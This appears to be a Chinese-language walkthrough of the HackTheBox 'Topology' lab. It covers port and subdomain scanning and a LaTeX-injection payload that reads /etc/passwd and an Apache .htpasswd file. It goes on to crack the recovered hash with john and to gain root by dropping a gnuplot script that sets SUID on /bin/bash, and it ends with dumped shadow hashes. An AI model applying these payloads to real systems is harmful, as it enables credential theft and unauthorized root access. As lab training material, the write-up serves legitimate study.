基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -Pn 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-12 14:12 CST
Nmap scan report for 10.10.11.217
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.58 seconds

80

直接访问是一个小组主页,邮箱和页面链接得到域名:

子域名扫描

得到的域名添加hosts后扫描子域名,得到stats和dev:

1
2
3
4
5
6
7
8
9
10.10.11.217 topology.htb

ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://topology.htb/" -H 'Host: FUZZ.topology.htb' -fs 6767

[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 272ms]
* FUZZ: stats
...
[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 7395ms]
* FUZZ: dev

stats

Server 状态:

dev

需要登录:

latex.topology.htb

是一个在线latex转换器,输入latex输出png图片:

latex injection

latex自身语法功能强大,可以注入其他命令,例如读文件:

存在一些过滤,生成的图片提示不合法命令,但简单测试发现到这个的时候响应空白:

1
\lstinputlisting{/etc/passwd}

继续搜索latex语法,发现latex使用$作为分隔符:

单行文本公式放在$$之间,或者$$$$之间,例如

1
$ y=x^2 $

所以最终读取文件的payload是:

1
$\lstinputlisting{/etc/passwd}$

dev htpasswd

前面dev那里需要登录,结合是apache,那就可以直接读apache的 .htpassd文件:

1
$\lstinputlisting{/var/www/dev/.htpasswd}$

得到的图片找个OCR提取出文本

1
vdaisley : $apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

htpasswd crack

然后破解hash,得到vdaisley的密码:

1
2
3
4
5
6
$ cat hash.txt
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=md5crypt

calculus20

user flag

得到的账号密码ssh登录:

提权信息

运行pspy,发现gnuplot:

定时运行对应目录下的任意plt文件,这个目录我们有权限,可以创建要运行的plt文件:

另外gnuplt可以运行shell命令:

那就可以在自定义plt中执行任意命令

提权 & root flag

简单的加suid,等待触发执行:

1
echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/miao.plt

shadow

1
2
root:$6$P153wNg6DwlTSIv0$QFutCIjQWlJM24O6vyD5aoRv7kyvivOykonMDItV8rSqKpznqsmxfK7L51il6V7yF75qHE.Hkv6YLK25TSEle1:19496:0:99999:7:::
vdaisley:$6$gRnKXcAaVVjMGjaY$PuuHK2.WUsdjSd/0ife.Arm05hBBZSZUNTGBrojnvRS4zrvV3prcBac4nOH0Id.7bArqL7QtqAAICTs0fQ2Al0:19063:0:99999:7:::

参考资料